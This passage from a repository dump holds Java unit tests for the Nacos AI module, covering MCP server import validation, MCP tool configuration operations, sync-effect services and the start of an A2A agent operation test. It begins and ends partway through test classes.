server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        server.setDescription(\"Test description\");\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, new HashSet<>());\n\n        assertNotNull(item);\n        assertEquals(\"\", item.getServerName());\n        assertEquals(McpServerValidationConstants.STATUS_INVALID, item.getStatus());\n        assertNotNull(item.getErrors());\n        assertFalse(item.getErrors().isEmpty());\n        assertTrue(item.getErrors().contains(\"Server name is required\"));\n    }\n\n    @Test\n    void validateSingleServerWithMissingProtocol() throws Exception {\n        final String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setName(\"test-server\");\n        server.setProtocol(\"\"); // Empty protocol\n        server.setDescription(\"Test description\");\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, new HashSet<>());\n\n        assertNotNull(item);\n        assertEquals(\"test-server\", item.getServerName());\n        assertEquals(McpServerValidationConstants.STATUS_INVALID, item.getStatus());\n        assertNotNull(item.getErrors());\n        assertFalse(item.getErrors().isEmpty());\n        assertTrue(item.getErrors().contains(\"Protocol is required\"));\n    }\n\n    @Test\n    void validateSingleServerWithInvalidProtocol() throws Exception {\n        final String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setName(\"test-server\");\n        server.setProtocol(\"invalid-protocol\");\n        server.setDescription(\"Test description\");\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, new HashSet<>());\n\n        assertNotNull(item);\n        assertEquals(\"test-server\", item.getServerName());\n        assertEquals(McpServerValidationConstants.STATUS_INVALID, item.getStatus());\n        assertNotNull(item.getErrors());\n        assertFalse(item.getErrors().isEmpty());\n        assertTrue(item.getErrors().contains(\"Invalid protocol: invalid-protocol\"));\n    }\n\n    @Test\n    void validateSingleServerWithMissingDescription() throws Exception {\n        final String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setName(\"test-server\");\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        server.setDescription(\"\"); // Empty description\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, new HashSet<>());\n\n        assertNotNull(item);\n        assertEquals(\"test-server\", item.getServerName());\n        assertEquals(McpServerValidationConstants.STATUS_INVALID, item.getStatus());\n        assertNotNull(item.getErrors());\n        assertFalse(item.getErrors().isEmpty());\n        assertTrue(item.getErrors().contains(\"Description is required\"));\n    }\n\n    @Test\n    void validateSingleServerWithDuplicateInBatch() throws Exception {\n        String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = createValidServer();\n        server.setName(\"duplicate-server\");\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        // Add server name + version to existing names set to simulate duplicate in batch\n        java.util.Set<String> existingNames = new java.util.HashSet<>();\n        existingNames.add(\"duplicate-server\" + server.getVersionDetail().getVersion());\n\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, existingNames);\n\n        assertNotNull(item);\n        assertEquals(\"duplicate-server\", item.getServerName());\n        assertEquals(McpServerValidationConstants.STATUS_DUPLICATE, item.getStatus());\n        assertNotNull(item.getErrors());\n        assertFalse(item.getErrors().isEmpty());\n        assertTrue(item.getErrors().contains(\"Duplicate server name in import batch: duplicate-server\"));\n    }\n\n    @Test\n    void validateSingleServerWithExceptionDuringExistenceCheck() throws Exception {\n        String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = createValidServer();\n        server.setName(\"test-server\");\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class)))\n                .thenThrow(new RuntimeException(\"Test exception\"));\n\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, new HashSet<>());\n\n        assertNotNull(item);\n        assertEquals(\"test-server\", item.getServerName());\n        // Should still be invalid if existence check fails\n        assertEquals(McpServerValidationConstants.STATUS_INVALID, item.getStatus());\n        assertNotNull(item.getErrors());\n        assertFalse(item.getErrors().isEmpty());\n        assertTrue(item.getErrors().contains(\"Error checking existing server: Test exception\"));\n    }\n\n    @Test\n    void isValidProtocolWithValidProtocols() throws Exception {\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\"isValidProtocol\", String.class);\n        method.setAccessible(true);\n\n        // Test all valid protocols\n        assertTrue((Boolean) method.invoke(mcpServerValidationService, AiConstants.Mcp.MCP_PROTOCOL_STDIO));\n        assertTrue((Boolean) method.invoke(mcpServerValidationService, AiConstants.Mcp.MCP_PROTOCOL_SSE));\n        assertTrue((Boolean) method.invoke(mcpServerValidationService, AiConstants.Mcp.MCP_PROTOCOL_STREAMABLE));\n        assertTrue((Boolean) method.invoke(mcpServerValidationService, AiConstants.Mcp.MCP_PROTOCOL_HTTP));\n        assertTrue((Boolean) method.invoke(mcpServerValidationService, AiConstants.Mcp.MCP_PROTOCOL_DUBBO));\n    }\n\n    @Test\n    void isValidProtocolWithInvalidProtocol() throws Exception {\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\"isValidProtocol\", String.class);\n        method.setAccessible(true);\n\n        assertFalse((Boolean) method.invoke(mcpServerValidationService, \"invalid-protocol\"));\n        assertFalse((Boolean) method.invoke(mcpServerValidationService, \"\"));\n        assertFalse((Boolean) method.invoke(mcpServerValidationService, (String) null));\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithValidStdioConfig() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        \n        // Valid stdio config with localServerConfig\n        Map<String, Object> localConfig = new HashMap<>();\n        localConfig.put(\"command\", \"test-command\");\n        server.setLocalServerConfig(localConfig);\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertTrue(errors.isEmpty());\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithValidStdioConfigWithPackages() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        \n        // Valid stdio config with packages\n        List<Package> packages = new ArrayList<>();\n        packages.add(new Package());\n        server.setPackages(packages);\n        server.setLocalServerConfig(null); // No local config, but has packages\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertTrue(errors.isEmpty());\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithInvalidStdioConfig() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        \n        // Invalid stdio config - no local config and no packages\n        server.setLocalServerConfig(null);\n        server.setPackages(null);\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertFalse(errors.isEmpty());\n        assertTrue(errors.contains(\"Local server configuration or packages are required for stdio protocol\"));\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithValidRemoteConfig() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        \n        // Valid remote config\n        McpServerRemoteServiceConfig remoteConfig = new McpServerRemoteServiceConfig();\n        server.setRemoteServerConfig(remoteConfig);\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertTrue(errors.isEmpty());\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithInvalidRemoteConfig() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        \n        // Invalid remote config - no remote config\n        server.setRemoteServerConfig(null);\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertFalse(errors.isEmpty());\n        assertTrue(errors.contains(\"Remote server configuration is required for \" + AiConstants.Mcp.MCP_PROTOCOL_HTTP + \" protocol\"));\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithValidToolSpec() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        server.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        \n        // Valid tool spec with tools\n        McpToolSpecification toolSpec = new McpToolSpecification();\n        List<McpTool> tools = new ArrayList<>();\n        McpTool tool = new McpTool();\n        tool.setName(\"test-tool\");\n        tools.add(tool);\n        toolSpec.setTools(tools);\n        server.setToolSpec(toolSpec);\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertTrue(errors.isEmpty());\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithInvalidToolSpec() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        server.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        \n        // Invalid tool spec - empty tools list\n        McpToolSpecification toolSpec = new McpToolSpecification();\n        toolSpec.setTools(new ArrayList<>()); // Empty tools list\n        server.setToolSpec(toolSpec);\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertFalse(errors.isEmpty());\n        assertTrue(errors.contains(\"Tool specification should contain at least one tool\"));\n    }\n\n    @Test\n    void validateProtocolSpecificConfigWithNullToolSpec() throws Exception {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        server.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        \n        // No tool spec - should be valid\n        server.setToolSpec(null);\n\n        List<String> errors = new ArrayList<>();\n        \n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateProtocolSpecificConfig\", McpServerDetailInfo.class, List.class);\n        method.setAccessible(true);\n        method.invoke(mcpServerValidationService, server, errors);\n\n        assertNotNull(errors);\n        assertTrue(errors.isEmpty());\n    }\n\n    @Test\n    void validateSingleServerDoesNotCallIndexWhenNameIsBlank() throws Exception {\n        final String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setName(\"\"); // Blank name\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        server.setDescription(\"Test description\");\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        // Should not call the index when name is blank\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, new HashSet<>());\n\n        assertNotNull(item);\n        assertEquals(\"\", item.getServerName());\n        assertEquals(McpServerValidationConstants.STATUS_INVALID, item.getStatus());\n        assertEquals(\"Server name is required\", item.getErrors().get(0));\n    }\n\n    @Test\n    void validateServersWithMixedValidAndInvalidServers() throws NacosException {\n        final String namespaceId = \"test-namespace\";\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n\n        // Add a valid server\n        McpServerDetailInfo validServer = createValidServer();\n        validServer.setName(\"valid-server\");\n        servers.add(validServer);\n\n        // Add an invalid server\n        McpServerDetailInfo invalidServer = new McpServerDetailInfo();\n        initializeVersionDetail(invalidServer);\n        invalidServer.setName(\"\"); // Missing name\n        invalidServer.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        invalidServer.setDescription(\"Test description\");\n        servers.add(invalidServer);\n\n        // Add a duplicate server\n        McpServerDetailInfo duplicateServer = createValidServer();\n        duplicateServer.setName(\"valid-server\"); // Same name as validServer\n        servers.add(duplicateServer);\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, servers);\n\n        assertFalse(result.isValid());\n        assertEquals(3, result.getTotalCount());\n        assertEquals(1, result.getValidCount());\n        assertEquals(1, result.getInvalidCount());\n        assertEquals(1, result.getDuplicateCount());\n        assertNotNull(result.getServers());\n        assertEquals(3, result.getServers().size());\n    }\n\n    private void initializeVersionDetail(McpServerDetailInfo server) {\n        if (server.getVersionDetail() == null) {\n            ServerVersionDetail versionDetail = new ServerVersionDetail();\n            versionDetail.setVersion(\"1.0.0\");\n            server.setVersionDetail(versionDetail);\n        }\n    }\n\n    private McpServerDetailInfo createValidServer() {\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setName(\"test-server\");\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        server.setDescription(\"Test description\");\n        \n        McpServerRemoteServiceConfig remoteConfig = new McpServerRemoteServiceConfig();\n        server.setRemoteServerConfig(remoteConfig);\n        \n        return server;\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/McpToolOperationServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.utils.McpConfigUtils;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass McpToolOperationServiceTest {\n    \n    @Mock\n    private ConfigQueryChainService configQueryChainService;\n    \n    @Mock\n    private ConfigOperationService configOperationService;\n    \n    McpToolOperationService toolOperationService;\n    \n    @BeforeEach\n    void setUp() {\n        toolOperationService = new McpToolOperationService(configQueryChainService, configOperationService);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void refreshMcpTool() throws NacosException {\n        McpServerBasicInfo serverBasicInfo = getMcpServerBasicInfo();\n        McpToolSpecification toolSpecification = new McpToolSpecification();\n        toolOperationService.refreshMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, serverBasicInfo, toolSpecification);\n        verify(configOperationService).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class), isNull());\n    }\n    \n    @Test\n    void getMcpTool() {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        response.setContent(JacksonUtils.toJson(new McpToolSpecification()));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        String id = UUID.randomUUID().toString();\n        String version = \"1.0.0\";\n        String toolRef = McpConfigUtils.formatServerToolSpecDataId(id, version);\n        McpToolSpecification actual = toolOperationService.getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, toolRef);\n        assertNotNull(actual);\n    }\n    \n    @Test\n    void getMcpToolNotFound() {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        String id = UUID.randomUUID().toString();\n        String version = \"1.0.0\";\n        String toolRef = McpConfigUtils.formatServerToolSpecDataId(id, version);\n        McpToolSpecification actual = toolOperationService.getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, toolRef);\n        assertNull(actual);\n    }\n    \n    @Test\n    void deleteMcpTool() throws NacosException {\n        String id = UUID.randomUUID().toString();\n        toolOperationService.deleteMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, \"1.0.0\");\n        verify(configOperationService).deleteConfig(McpConfigUtils.formatServerToolSpecDataId(id, \"1.0.0\"),\n                Constants.MCP_SERVER_TOOL_GROUP, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, null, \"nacos\", null);\n    }\n    \n    private McpServerBasicInfo getMcpServerBasicInfo() {\n        String id = UUID.randomUUID().toString();\n        McpServerBasicInfo serverBasicInfo = new McpServerBasicInfo();\n        serverBasicInfo.setId(id);\n        serverBasicInfo.setName(\"mcpName\");\n        serverBasicInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        serverBasicInfo.setDescription(\"Mock Mcp Server\");\n        serverBasicInfo.setEnabled(true);\n        serverBasicInfo.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        ServerVersionDetail serverVersionDetail = new ServerVersionDetail();\n        serverVersionDetail.setVersion(\"1.0.0\");\n        serverBasicInfo.setVersionDetail(serverVersionDetail);\n        return serverBasicInfo;\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/SimpleSyncEffectServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SimpleSyncEffectServiceTest {\n    \n    SimpleSyncEffectService syncEffectService;\n    \n    @BeforeEach\n    void setUp() {\n        syncEffectService = new SimpleSyncEffectService();\n    }\n    \n    @Test\n    void toSyncLongStartTime() {\n        long currentTime = System.currentTimeMillis();\n        syncEffectService.toSync(new ConfigForm(), currentTime, 100, TimeUnit.MILLISECONDS);\n        long waitTime = System.currentTimeMillis() - currentTime;\n        assertTrue(waitTime >= 100);\n    }\n    \n    @Test\n    void toSyncLongStartTimeWithInterruptedException() throws InterruptedException {\n        AtomicLong waitTime = new AtomicLong();\n        final CountDownLatch latch = new CountDownLatch(1);\n        Thread testThread = new Thread(() -> {\n            long currentTime = System.currentTimeMillis();\n            syncEffectService.toSync(new ConfigForm(), currentTime, 2000, TimeUnit.MILLISECONDS);\n            waitTime.set(System.currentTimeMillis() - currentTime);\n            latch.countDown();\n        });\n        testThread.start();\n        TimeUnit.MILLISECONDS.sleep(300);\n        testThread.interrupt();\n        assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));\n        assertTrue(waitTime.get() < 2000);\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/SyncEffectServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SyncEffectServiceTest {\n    \n    private AtomicBoolean invokeMark;\n    \n    private SyncEffectService syncEffectService;\n    \n    @BeforeEach\n    void setUp() {\n        invokeMark = new AtomicBoolean();\n        syncEffectService = new MockSyncEffectService();\n    }\n    \n    @Test\n    void toSync() {\n        syncEffectService.toSync(new ConfigForm(), System.currentTimeMillis());\n        assertTrue(invokeMark.get());\n    }\n    \n    private class MockSyncEffectService implements SyncEffectService {\n        \n        @Override\n        public void toSync(ConfigForm configForm, long startTimeStamp, long timeout, TimeUnit timeUnit) {\n            invokeMark.set(true);\n        }\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/a2a/A2aServerOperationServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.ai.service.a2a;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.SyncEffectService;\nimport com.alibaba.nacos.ai.service.a2a.identity.AgentIdCodecHolder;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentProvider;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.exception.ConfigAlreadyExistsException;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.naming.core.v2.index.ServiceStorage;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doNothing;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * Unit tests for A2aServerOperationServiceTest.\n *\n * @author nacos\n */\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\npublic class A2aServerOperationServiceTest {\n    \n    private static final String TEST_NAMESPACE_ID = \"test-namespace\";\n    \n    private static final String TEST_AGENT_NAME = \"test-agent\";\n    \n    private static final String TEST_AGENT_VERSION = \"1.0.0\";\n    \n    private static final String TEST_REGISTRATION_TYPE = \"service\";\n    \n    private static final String ENCODED_AGENT_NAME = \"encoded-test-agent\";\n    \n    private static final String ENCODED_AGENT_NAME_WITH_VERSION = ENCODED_AGENT_NAME + \"-\" + TEST_AGENT_VERSION;\n    \n    @Mock\n    private ConfigQueryChainService 